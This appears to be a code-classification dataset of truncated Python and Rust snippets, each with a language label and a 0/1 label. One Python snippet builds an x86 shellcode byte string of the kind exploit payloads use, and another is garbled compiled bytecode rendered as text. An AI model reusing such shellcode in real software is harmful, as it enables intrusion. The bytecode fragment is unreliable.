text
string
label_name
string
labels
int64
column_index_mask) ymm_store_mask = YMMRegister() VPANDN(ymm_store_mask, ymm_before_column_start_mask, ymm_before_column_end_mask) # stride is in elements; multiply by sizeof(float) to get stride in bytes SHL(reg_stride, 2) if relu: ymm_zero = YMMRegister() VMOVAPS(ymm_zer...
Python
1
, val); } let last = v.pop().unwrap(); println!(" using '{}' from {}", last.1, last.0); (k, last.1) } }) .collect(); if !has_conflict { println...
Rust
0
nv.get("POD_IP").expect("pod_ip").as_str()); assert_eq!("10.21.77.1", env.get("HOST_IP").expect("host_ip").as_str()); } } <reponame>paolobarbolini/rsass<gh_stars>0 //! Tests auto-converted from "sass-spec/spec/libsass-closed-issues/issue_1732/valid/propset.hrx" #[test] fn test() { assert_eq!( c...
Rust
0
from enum import Enum # from enum import StrEnum class StrEnum(str, Enum): """ Minimal string enum that works with Python 3.6+ """ def __str__(self): return self.value @classmethod def _missing_(cls, value): # Allow case-insensitive lookups for member in cls: ...
Python
1
str] = &[ "AF", "AX", "AL", "DZ", "AS", "AD", "AO", "AI", "AQ", "AG", "AR", "AM", "AW", "AU", "AT", "AZ", "BS", "BH", "BD", "BB", "BY", "BE", "BZ", "BJ", "BM", "BT", "BO", "BQ", "BA", "BW", "BV", "BR", "IO", "BN", "BG", "BF", "BI", "CV", "KH", "CM", "CA", "KY", "CF", "TD", "CL", "CN", "CX", "CC", "CO", ...
Rust
0
# coding: utf-8 """ GoodMem API API for interacting with the GoodMem service, providing vector-based memory storage and retrieval with multiple embedder support. The service enables creation of memory spaces, storing memories with vector representations, and efficient similarity-based retrieval. The vers...
Python
1
he given runtime and all its modules. /// /// Example: /// ``` ///# mod module0 { ///# pub trait Config: 'static { ///# type Origin; ///# type BlockNumber; ///# type PalletInfo: frame_support::traits::PalletInfo; ///# type DbWeight: frame_support::traits::Get<frame_support::weights::Runti...
Rust
0
t_req) dist = abstract_dist.get_pkg_resources_distribution() assert dist is not None name = canonicalize_name(dist.project_name) package_set[name] = PackageDetails(dist.parsed_version, dist.requires()) installed.add(name) return installed def _create_whitelist(would_be_i...
Python
1
from rpython.translator.tool.cbuild import ExternalCompilationInfo from rpython.rtyper.tool import rffi_platform as platform from rpython.rtyper.lltypesystem import rffi, lltype eci = ExternalCompilationInfo(includes=['bzlib.h', ], include_dirs=['/usr/include/'], ...
Python
1
)) } ioctl_write_int! { /// Erase a force effect ev_erase_ff, b'E', 0x81 } ioctl_read! { /// Report number of effects playable at the same time ev_get_effects, b'E', 0x84, c_int } ioctl_write_int! { /// Grab/Release device ev_grab, b'E', 0x90 } ioctl_write_int! { /// Revoke device access...
Rust
0
from apps.common.func.WebFunc import * from apps.common.model.RedisDBConfig import RedisCache from apps.common.config.permissionConst import PermissionConst class TeamService(object): @staticmethod def updateTeam(teamData): tbModel = TbAdminTeam.objects.filter(id=teamData["id"]) tbModel.update...
Python
1
mac.update(message.as_bytes()); Ok(mac.finalize().into_bytes().as_slice() == b64_decode(signature) .map_err(|_e| new_error(ErrorKind::InvalidSignature))?) } _ => Err(ErrorKind::InvalidAlgorithm.into()), }, ...
Rust
0
ng the capabilities //it uses an u8 as bitset where each bit i 1 of the 8 capabilities #[derive(Ord, PartialOrd, Eq, PartialEq, Copy, Clone, Hash, Debug, Parsable, Serializable, VirtualSize)] pub struct PermSet(pub u8); //Assosiation between permissions and bits //Eac permission is assosiated with 1 bit in a u8 ...
Rust
0
''' https://neetcode.io/problems/meeting-schedule-ii 1229. Meeting Scheduler II Meeting Schedule II Given an array of meeting time interval objects consisting of start and end times [[start_1,end_1],[start_2,end_2],...] (start_i < end_i), find the minimum number of days required to schedule all meetings without any c...
Python
1
e-10 ); assert_relative_eq!( jr.c, 0.000187 * 2.0 - 1.64e-6 * 4.0 - 1.42e-4 * 2.0 - 3.91e-4, epsilon = 1e-10 ); assert_relative_eq!( jr.d, -9.96e-8 * 2.0 - 1.59e-8 * 4.0 + 6.78e-8 * 2.0 + 2.06e-7, epsilon = 1e-10 ...
Rust
0
mem, ops::Deref, ptr::{ self, NonNull, }, task::{ RawWaker, RawWakerVTable, }, }; pub const WAKER_PAGE_SIZE: usize = 64; #[repr(align(64))] pub struct WakerPage { refcount: WakerU64, notified: WakerU64, completed: WakerU64, dropped: WakerU64, w...
Rust
0
# =========================== # -*- coding: utf-8 -*- # Author: DSFNet Authors # Date: 2024-09-27 # Keep Coding, Keep Thinking # =========================== import tensorflow as tf from ..config import detour_configer tf.logging.set_verbosity(tf.logging.INFO) def embed_user(user_feature): with tf.variable_scop...
Python
1
r_id) if 'bboxes' in obj_ann: bbox = obj_ann['bboxes'][i] if bbox is None: continue else: mask = obj_ann['segmentations'][i] if mask is None: continue bbox = mask_utils.toBbox(mask) boxes_frame.append(bbox) ids_frame.append(id2contid[ob...
Python
1
gag = Gag::stderr().unwrap(); let host = cpal::default_host(); input_devices = host.input_devices() .unwrap() .collect::<Vec<cpal::Device>>(); output_devices = host.output_devices() .unwrap() .collect::<Vec<cpal::Device>...
Rust
0
get_slice_at_addr(GuestAddress(0), 8192) .unwrap() .write_bytes(0x55); UringSource::new(source).unwrap() }); // Start with memory filled with 0x44s. let buf: Rc<VecIoWrapper> = Rc::new(VecIoWrapper::from(vec![0x44; 8192])); let fut = TestRead...
Rust
0
1-t0)/epochs print('average iter time: %2.2f secs' % avg_time_taken) def _prediction_fn(X_, Y_): mu, var = m.predict_y(X_) log_pred_density = m.predict_log_density((X_, Y_)) return mu.numpy(), var.numpy(), log_pred_density.numpy() print('predicting...') posterior_mean, posterior_var, lpd = _prediction_f...
Python
1
writeln!(w, "bind-key -n F8 switch-client -n") })?; section(w, c, "F12 Key Table", |w, _| { writeln!(w, "bind-key F12 send-keys F12")?; writeln!(w, "bind-key -n F12 switch-client -T {}", F12_TABLE)?; for n in 1..=9 { writeln!( w, "bind-key -T {...
Rust
0
ift left and OR RLA, // Rotate left and AND SRE, // Shift right and XOR RRA, // Rotate right and add SAX, // Store A & X LAX, // Load accumulator and X DCP, // Decrement and compare ISB, // Increment and subtract } #[derive(Debug, Clone, Copy, PartialEq, Eq)] pub enum AddressingM...
Rust
0
lls", methods=["GET","POST","DELETE"]) def bills(): with SessionLocal() as db: if request.method == "POST": data = request.get_json(force=True) name, due, amount = data.get("name"), dateparser.parse(data.get("due")).date(), float(data.get("amount", 0)) db.add(Bill(name=na...
Python
1
import requests from allauth.socialaccount.providers.oauth2.views import ( OAuth2Adapter, OAuth2CallbackView, OAuth2LoginView, ) from .provider import StripeProvider class StripeOAuth2Adapter(OAuth2Adapter): provider_id = StripeProvider.id access_token_url = "https://connect.stripe.com/oauth/tok...
Python
1
# IMPORTS: THIS SCRIPT REQUIRES THE PACKAGES PYLAB AND MOVIEPY # It produces this gif: http://i.imgur.com/LbU55oK.gif from pylab import * import moviepy.editor as mp from moviepy.video.io.bindings import mplfig_to_npimage # PARAMETERS OF THE CURVE AND THE GIF curve = lambda t : ( cos(80*t) - cos(t)**3, sin(t) - si...
Python
1
} /// Convert this query into an iterator executing the request. /// /// This iterator yields only `FlavorSummary` objects, containing /// IDs and names. Use `into_iter_detailed` for full `Flavor` objects. /// /// Returns a `FallibleIterator`, which is an iterator with each `next` /// c...
Rust
0
while True: if not conn: break else: try: part = conn.read(MAX_CONNECTION_READ_SIZE) except AssertionError: part = b"" ...
Python
1
pipeline=train_pipeline), val=dict( type='TopDownAicDataset', ann_file=f'{data_root}/annotations/aic_val.json', img_prefix=f'{data_root}/ai_challenger_keypoint_validation_20170911/' 'keypoint_validation_images_20170911/', data_cfg=data_cfg, pipeline=val_pipeline)...
Python
1
SUITS = ["Clubs", "Diamonds", "Hearts", "Spades"] RANKS = ["2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack", "Queen", "King", "Ace"] class Card: def __init__(self, rank, suit): self.rank = rank self.suit = suit def __eq__(self, other): if SUITS.index(self.suit) == SUITS.index(oth...
Python
1
import cv2 from IPython.display import display, Image from mtcnn import MTCNN from tensorflow.keras.models import load_model from tensorflow.keras.preprocessing import image import tensorflow as tf import numpy as np import pickle from deepface import DeepFace import os # Create an instance of the MTCNN detector detect...
Python
1
, θ_0 = A[0], φ[0], π[0], θ[0] key, subkey = jax.random.split(key) A_0_new, φ_0_new, π_0_new, θ_0_new, γ_0_new, q_0, _ = gibbs( subkey, X_B, I_B, A_0, φ_0, π_0, θ_0, α_pi, α_theta ) print("Manual computation for particle 0:") print(f"γ_new: {γ_0_new}") print(f"q: {q_0}") print(f"Wei...
Python
1
m, n = map(int, input().split()) q = [int(a) for a in input().split()] num1 = [] num2 = [] ans = [] for i in range(n): k, l = map(int, input().split()) num1.append(k - 1) num2.append(l) for i in range(n): k = 0 for j in range(num1[i], num2[i], 2): k += q[j] ans.append(k) print(min(ans)...
Python
1
::context::{AsBaseAudioContext, OfflineAudioContext}; use web_audio_api::media::MediaElement; use web_audio_api::node::{AudioControllableSourceNode, AudioNode, AudioScheduledSourceNode}; use web_audio_api::SampleRate; fn main() { let len = 128 * 2048; // render a fixed number of frames let context = OfflineAud...
Rust
0
rm_tplt() if is_run_for_farm else get_daily_tplt()) AutomatorRecorder.settask(f"{GuideTask.QUEST}_{i+1}", get_quest_tplt()) AutomatorRecorder.settask(f"{GuideTask.EVENT}_{i+1}", get_event_tplt()) AutomatorRecorder.settask("settings", get_settings_tplt()) # generate batches if is_multi_account a...
Python
1
; #[repr(i32)] #[non_exhaustive] #[derive(Debug, Copy, Clone, Hash, PartialEq, Eq)] pub enum HTML_JSConfirm_t__bindgen_ty_1 { k_iCallback = 4515, } #[test] fn bindgen_test_layout_HTML_JSConfirm_t() { assert_eq!( ::std::mem::size_of::<HTML_JSConfirm_t>(), 16usize, concat!("Size of: ", stringify!(HTML_JSConfirm_t...
Rust
0
from .base import APITestCase from django.core.exceptions import ImproperlyConfigured class RestRouterTestCase(APITestCase): def test_rest_model_conflict(self): from wq.db import rest from tests.conflict_app.models import Item # Register model with same name as existing model with...
Python
1
- engineDamage /// - gearBoxDamage /// - tyresWear (All four wheels) /// - tyresDamage (All four wheels) /// - ersDeployMode /// - ersStoreEnergy /// - ersDeployedThisLap /// - ersHarvestedThisLapMGUK /// - ersHarvestedThisLapMGUH /// /// ## Specification /// ```text /// traction_control: 0 (off) -...
Rust
0
saver.save_recovery( unwrap_bench(model), optimizer, args, epoch, model_ema=unwrap_bench(model_ema), use_amp=use_amp, batch_idx=batch_idx) if lr_scheduler is not None: lr_scheduler.step_update(num_updates=num_updates, metric=losses_m.avg) end = time.time()...
Python
1
2, 7_i32, 11_i32, 4_i32, 8_i32, 12_i32 ); let result = matrix.transpose(); assert_eq!(result, expected); } #[test] fn test_construction_from_cols() { let c0 = Vector4::new(1_i32, 2_i32, 3_i32, 4_i32); let c1 = Vector4::new(5_i32, 6_i32, 7_i32, 8_i32)...
Rust
0
"Ham", "Ground Meat", "Bacon", separator " = The Cheeses = ", // Use `<choice> default <value>` to give default value (only for MultiSelect) "Mozzarella" default true, "Cheddar", "Parmesan", ...
Rust
0
from django.shortcuts import render, HttpResponse # Create your views here. def home(request): return render(request, "home.html")
Python
1
"""Test all frequencies (except blank).""" import pytest from homeassistant.core import HomeAssistant from homeassistant.helpers import device_registry as dr from homeassistant.helpers import entity_registry as er from pytest_homeassistant_custom_component.common import MockConfigEntry from custom_components.garbage_c...
Python
1
_auto_reload(timeout.ticks() - 1)?; // Trigger update event to load the registers self.tim.trigger_update(); // start counter self.tim.enable_counter(); Ok(()) } pub fn wait(&mut self) -> nb::Result<(), Error> { if self.tim.get_interrupt_flag().contains(Event:...
Rust
0
G_NID_NUM]) if not rc: print("ping failed") return lutfrc(LUTF_TEST_FAIL) after_stats_main = main.sln.get_lnet().get_net_stats() print(after_stats_main) send_count_before = {} send_count_after = {} total_send_count_before = 0 total_send_count_after = 0 nid_num = 0 for nid in main_nids: #...
Python
1
# Copyright (c) Streamlit Inc. (2018-2022) Snowflake Inc. (2022-2024) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
Python
1
#!/usr/bin/python ## -*- coding: utf-8 -*- ## ## (C) 2008, 2013, 2015 Muthiah Annamalai ## Licensed under GPL Version 3 ## ## This module is the scanner for the Ezhil language. ## It contains classes EzhilLex. ## import re from .scanner import Token, Lexeme, Lex, PYTHON3 from tamil.utf8 import has_tamil, istamil, is...
Python
1
let mut random = 0_u8; let mut random_bytes: [u8; 2048] = [0; 2048]; (0..2048).for_each(|index| { random = rng.generate_range(0_u8..=51); random_bytes[index as usize] = ALPHABET[random as usize].as_bytes()[0]; }); random_bytes } } #[cfg(test)] mod t...
Rust
0
write().expect("Write lock"); if let Err(error) = ops_counter_lock.check_allowanse(&tx) { return Err(Error { code: RpcErrorCodes::OperationsLimitReached.into(), message: error.to_string(), data: None, }); ...
Rust
0
'max-size-time': 0, }, ) ) pipeline.add(queue) assert ( queue.get_static_pad('src').link(demuxer_peer_pad) == Gst.PadLinkReturn.OK ) demuxer_peer_pad = queue.get_static_pad('sink') queue.sync_state_with_parent() ...
Python
1
{}\\0m", tagline, cargo_version(), url) }; // We need to create these files in the Cargo output directory. let out = PathBuf::from(env::var("OUT_DIR").unwrap()); // The bits .txt files contain ANSI escape codes, ish. let control_code = Regex::new(r##"\\.+?m"##).unwrap(); // Pretty version...
Rust
0
/images/ant_1.jpg", load_image, Image.Image, marks=pytest.mark.skipif(not _TOPIC_IMAGE_AVAILABLE, reason="image libraries aren't installed."), ), # it shouldn't try to expand glob patterns in URLs pytest.param( "https://pl-flash-data.s3.amazonaws.c...
Python
1
for result_type in ['actor_2']: result = puzzle.results_dict.get(result_type, {}) # Add the values to the row, with keys indicating the result type row[f'{result_type}_success'] = result.get('success', None) row[f'{result_type}_good_guesses'] = re...
Python
1
table[row_idx][col_idx] = word["text"] return _remove_empty_rows_cols(table) def to_markdown(table: list[list[str]]) -> str: if not table or not table[0]: return "" lines = [] lines.append("| " + " | ".join(str(cell) for cell in table[0]) + " |") lines.append("| " + " | ".joi...
Python
1
t to_free = Box::from_raw(mtx); drop(to_free); } #[no_mangle] pub unsafe extern "C" fn rumpuser_mutex_owner(mtx: *mut Mutex, lwp: *mut *mut threads::lwp) { let owner = (*mtx).owner(); trace!( "{:?} rumpuser_mutex_owner mtx={:p} owner={:p}", Environment::tid(), mtx, owner ...
Rust
0
::networking::udp_receive_from")?; if let Some(socket_addr) = socket_result { let dns_iter_id = caller .data_mut() .resources .dns_iterators .add(DnsIterator::new(vec![socket_addr].into_iter())); ...
Rust
0
ans" executor: "Executes plan steps" validator: "Validates results" settings: planner_agent: planner executor_agent: executor reviewer_agent: validator workflow: start: planner edges: - from: planner to: [executor, validator, planner] router...
Python
1
{ match path.extension() { Some(extension) => if extension == "json" { paths.push(path.to_path_buf()); } None => continue, } } } } Some(paths) } /// This function gets the `/templates/assets` path of the game selected,...
Rust
0
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserve. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
Python
1
1]) / 2.0), &format!("{}", app.window[1]), ]), ).y_axis( Axis::default() .title("Y Axis") .style(Style::default().fg(Color::Gray)) .labels_style(Style::default().modifier(Modifier::Italic)...
Rust
0
' }); map_test!("foo=c++", "foo"["c "]); // st.deepEqual(qs.parse('a[>=]=23'), { a: { '>=': '23' } }); map_test!("a[>=]=23", "a"[">="[23]]); // st.deepEqual(qs.parse('a[<=>]==23'), { a: { '<=>': '=23' } }); map_test!("a[<=>]==23", "a"["<=>"["=23"]]); // st.deepEqual(qs.parse('a[==]=23'), {...
Rust
0
ult_key_weight = w as f32; } } let mut last_id: u32 = 0; let mut weight_changes = Vec::with_capacity(2 * sm.notes.len() * conf.halos.len()); for beat in sm.iter_beats() { let time = to_time.beat_to_time(beat.pos); //Calculate a weight for the notes on this beat let note_c...
Rust
0
import json import random from pathlib import Path easter_eggs_file_path = Path(__file__).parent / "easter_eggs.json" easter_eggs = json.load(open(easter_eggs_file_path, encoding="utf-8")) pongs_file_path = Path(__file__).parent / "pongs.json" pongs = json.load(open(pongs_file_path, encoding="utf-8")) def get_easter...
Python
1
from game.chess_piece import ChessPiece from game.state import State class Rook (ChessPiece): def __init__(self, x, y, is_white): super().__init__(x, y,is_white) self.can_castle = True def get_picture(self): return "images/white-rook.png" if self.is_white else "images/black-rook.png" ...
Python
1
plot::Line::new(egui::plot::Values::from_values_iter( values .0 .iter() .enumerate() .map(|(i, value)| egui::plot::Value::new(i as f64, *value)), )); egui::Area::new("Performance area") .anchor(egui::Align2::LEFT_TOP, [0., 0.]) .show(egui_...
Rust
0
"items": {"type": "string"}, "description": "源视频文件路径列表" }, "style": { "type": "string", "enum": ["highlights", "emotional", "funny", "romantic", "dra...
Python
1
or("Longitude not found")?; let depth_index = column_map .keys() .find(|name| name.to_lowercase().starts_with("depth")) .and_then(|key| column_map.get(key)) .map(|&value| value); let elevation_index = column_map .keys() .find(|name| name.to_lowercase().starts_with...
Rust
0
co::ERROR::SUCCESS => Ok(0), // actual zero position err => Err(err), }, pos => Ok(pos), } } /// [`GetShellWindow`](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getshellwindow) /// static method. pub fn GetShellWindow() -> Option<HWND> { unsafe { user32::GetShellWi...
Rust
0
nse // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. // // See the LICENSE-APACHE or LICENSE-MIT files at the top-level directory // of this distribution. #[cfg(test)] #[macro_use] extern crate proptest;...
Rust
0
c\xa0\x77\x02\x2c\x08\x29\xf8\x83" shellcode += b"\x7c\x03\xfc\x00\x74\xe1\x31\xc0\x55\x6a\x01\x55" shellcode += b"\x50\xe8\x00\x00\x00\x00\x81\x04\x24\x92\x00\x00" shellcode += b"\x00\x50\x53\x29\x3c\x24\x56\xb8\xc4\x5c\x19\x6d" shellcode += b"\xe8\x25\x00\x00\x00\x31\xc0\x50\x50\x50\x56\xb8" shell...
Python
1
* * Input: * ["FirstUnique","showFirstUnique","add","showFirstUnique","add","showFirstUnique","add","showFirstUnique"] * [[[2,3,5]],[],[5],[],[2],[],[3],[]] * Output: * [null,2,null,2,null,3,null,-1] * * Explanation: * FirstUnique firstUnique = new FirstUnique([2,3,5]); * firstUnique.showFirstUnique(); // ret...
Rust
0
a d@sddlZddlZddlTddlZeejZGdddeZGdddeZ GdddZ e ej d D](Z d e Zeee ejfd e iee<qfed kredS) N)*c@s(eZdZdefdefgZdZddZdS)XabrcOstj...
Python
1
position: Vec2::new(0., -37.5).into(), ..Default::default() }) .insert_bundle(ColliderBundle { shape: ColliderShapeComponent(ColliderShape::cuboid(40., 1.)), material: ColliderMaterialComponent(ColliderMaterial { friction: 0.0, rest...
Rust
0
!("xs[0..3] {:?}", &xs[0..3]); let mapped: Vec<_> = xs.iter().map(|&line| line_mapper(line)).collect(); println!("mapped[0..3]: {:?}", &mapped); let min = mapped.iter().min().unwrap().clone(); let max = mapped.iter().max().unwrap().clone(); (min..=max) .map(|i| mapped.iter().map(|&x| (x - i)...
Rust
0
ip + 2 } else { break; } } Out => { output.send(ld(1)).unwrap(); ip + 2 } JmpIfTrue => jmp_if(&|a| a != 0), JmpI...
Rust
0
B, ) -> Poll<io::Result<usize>> { self.poll_io(cx, |s, cx| s.poll_write_buf(cx, buf)) } } <reponame>kailun-qin/linkerd2-proxy<filename>linkerd/opencensus/src/lib.rs #![deny(warnings, rust_2018_idioms)] use futures::{ready, FutureExt, Stream}; use http_body::Body as HttpBody; use linkerd_channel as mpsc...
Rust
0
(dx_actual,) = self.grad([w_mean], [x], create_graph=False) del w_mean self.assertTrue(dx_actual.stop_gradient) dx_expected = ( 1.0 / float(numel) * (np.maximum(x_np, 0) + 1) * (x_np > 0) * 2 ).astype('float32') np.testing.assert_allclose(dx_actual.numpy(),...
Python
1
variant"] #[inline(always)] pub fn variant(&self) -> Option<DEFAULT_ISP_MODE_A> { match self.bits { 0 => Some(DEFAULT_ISP_MODE_A::VALUE_0), 1 => Some(DEFAULT_ISP_MODE_A::VALUE_1), 2 => Some(DEFAULT_ISP_MODE_A::VALUE_2), 3 => Some(DEFAULT_ISP_MODE_A::VALUE...
Rust
0
_id.as_ref().map(|last_block_id| { BlockPtr::from((last_block_id.hash.clone(), self.header().height - 1)) }) } } impl From<EventBlock> for BlockPtr { fn from(b: EventBlock) -> BlockPtr { (&b).into() } } impl<'a> From<&'a EventBlock> for BlockPtr { fn from(b: &'a EventBlock)...
Rust
0
2, actions2)| { move_value(board, *pos2, actions2) .partial_cmp(&move_value(board, *pos1, actions1)) .unwrap() }); let mut res = Vec::new(); for (pos, actions) in moves { let curr_board = board.play(color, pos, &actions); let mut score = -_negamax( ...
Rust
0
#! /usr/bin/env python # -*- coding: utf-8 -*- """ Intro ====== Get varnas in a pratyahara: .. code:: python >>> from sanskrit_parser.base.maheshvara_sutra import MaheshvaraSutras >>> MS = MaheshvaraSutras() >>> jaS = SanskritImmutableString('jaS', encoding=SLP1) >>> print(MS.getPratyahara(jaS)) j...
Python
1
cional") print(" ✅ AHORA: Cálculo una vez por período, no ventana móvil") print() print("2. 🆕 NIVELES DINÁMICOS SEPARADOS - IMPLEMENTADOS:") print(" ✅ NUEVO: calculate_dynamic_support_resistance() para ventana móvil") print(" ✅ NUEVO: Usa ventana de 20 períodos para soporte/resistencia d...
Python
1
# 1713 후보 추천하기 import sys sys.stdin = open('input.txt') N, rec, pic = int(input()), input(), {} for i, n in enumerate(input().split()): n = int(n) if n in pic: pic[n][0] += 1 # 사진틀에 있으면 추천수 증가 else: # 사진틀에 없으면 사진 추가 [추천수, 순번] if len(pic) >= N: # 공간이 없으면 최소 추천 수 사진 제거 min_stu = min(p...
Python
1
sign-in/password",headers=headers,json=payload,proxies=self.proxy).json() if signin["header"]["resultCode"] != "S0000": raise PayPayLoginError(signin) if device_uuid: try: uri=signin["payload"]["redirectUrl"].replace("paypay://oaut...
Python
1
# ============================================================ # MicroPython 灰度图二值化测试代码(使用 cv_lite 扩展模块) # Grayscale Binary Thresholding Test using cv_lite extension # ============================================================ import time, os, sys, gc from machine import Pin from media.sensor import * # 摄像头接口 / Ca...
Python
1
SPACE; const TEXT_LINE_SPACE = lvgl_sys::lv_style_prop_t_LV_STYLE_TEXT_LINE_SPACE; const TEXT_DECOR = lvgl_sys::lv_style_prop_t_LV_STYLE_TEXT_DECOR; const TEXT_ALIGN = lvgl_sys::lv_style_prop_t_LV_STYLE_TEXT_ALIGN; /*Group 6*/ const RADIUS = lvgl_sys::lv_style_prop_t_LV_STYLE_RA...
Rust
0
upload_volume_factor=uploadvolumefactor, download_volume_factor=downloadvolumefactor) # 先过滤掉可以明确的类型 if meta_info.type == MediaType.TV and filter_args.get("type") == MediaType.MOVIE: log.info( ...
Python
1
[r15]"); /* * .... 660f38 * .... 660f7f */ test_invalid(&[0x66, 0x4f, 0x0f, 0x50, 0x01]); test_instr(&[0x66, 0x4f, 0x0f, 0x50, 0xc1], "movmskpd r8d, xmm9"); test_instr(&[0x66, 0x4f, 0x0f, 0x51, 0x01], "sqrtpd xmm8, [r9]"); test_instr(&[0xf2, 0x4f, 0x0f, 0x51, 0x01], "sqrtsd xmm8, [...
Rust
0
# Import the regular expression engine import re # Our string test = "Hello, World!" # Match if re.match("e", test): print("re.match says it has an e in it.") # Search if re.search("e", test): print("re.search says it has an e in it.")
Python
1
: Msg ) -> Error { Error { msg : msg.into() } } pub fn msg( &self ) -> &String { &self.msg } } impl core::fmt::Display for Error { fn fmt(&self, f: &mut core::fmt::Formatter) -> core::fmt::Result { write!( f, "{}", self.msg ) } } impl std::error::Error for Error { fn description( &self ...
Rust
0
let _crc = reader.read_u32_be()?; } } }, Err(_) => { let warnings = ImgWarnings::add(None,Box::new( PngWarning::new("Data crruption after image datas".to_string()))); if option.debug_flag > 1 { ...
Rust
0
import json import os import random import re from collections import Counter, defaultdict from loguru import logger as eval_logger from lmms_eval.tasks._task_utils.file_utils import generate_submission_file PROMPT = { "task_instructions": [ "请回答以下多项选择题,并选出正确选项。这些题目可能包括单选和多选题型。如果所提供的信息不足以确定一个明确的答案,那么请根据可...
Python
1
usize)); assert_eq!(500 as u16, u16::checked_from(500 as usize)); #[cfg(any(target_pointer_width = "64", target_pointer_width = "128"))] assert_eq!( 4_300_000_000 as u64, u64::checked_from(4_300_000_000 as usize) ); #[cfg(target_pointer_width = "128")] ...
Rust
0
a3_224)), 224) } if matches.opt_present("sha3-256") { set_or_crash("SHA3-256", Box::new(Sha3::new(Sha3Mode::Sha3_256)), 256) } if matches.opt_present("sha3-384") { set_or_crash("SHA3-384", Box::new(Sha3::new(Sha3Mode::Sha3_384)), 384) } if matches.opt_present("sha3-512") ...
Rust
0
p. pub async fn shutdown(&mut self) { use std::os::unix::fs::OpenOptionsExt; if let Some(listener) = self.listener.take() { listener.abort(); listener.await.ok(); // Open fifo for write to unblock pending open for read operation that prevents tokio runtime ...
Rust
0
reference to the object's extensions. fn extensions(&self) -> &ExtensionSequence; /// Obtain a reference to the object's volume. fn volume(&self) -> &Self::Volume; /// Move the volume out of the object, discarding the /// header and extensions. fn into_volume(self) -> Self::Volume; } /// Gen...
Rust
0
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # Copyright (C) 2017-2020 The Project X-Ray Authors. # # Use of this source code is governed by a ISC-style # license that can be found in the LICENSE file or at # https://opensource.org/licenses/ISC # # SPDX-License-Identifier: ISC import os, sys, re from prjxray impo...
Python
1
box for idx in range(count): obj = detector.get_object(idx) if hasattr(detector, 'get_object') else detector[idx] top_left = (int(w * obj.x), int(h * obj.y)) bottom_right = (int(w * (obj.x + obj.w)), int(h * (obj.y + obj.h))) color = colors[idx] cv2.rectangle(img, top_left,...
Python
1
type(x) is amd_dev.signal_t assert type(y) is nv_dev.signal_t def test_multidevice_p2p(self): try: amd_dev = Device["AMD"] if not issubclass(type(amd_dev.iface), PCIIfaceBase): self.skipTest("Not a pci dev") except Exception: self.skipTest("no AMD device, test skipped") try: nv_dev...
Python
1
from SWOOK_WEBHOOK_URL environment variable #[structopt(long = "webhook-url", short = "u")] webhook_url: Option<String>, /// Channel to publish to, if not present it is read from SWOOK_CHANNEL environment variable /// /// If ommited, the message will be published to the default webhook channel #...
Rust
0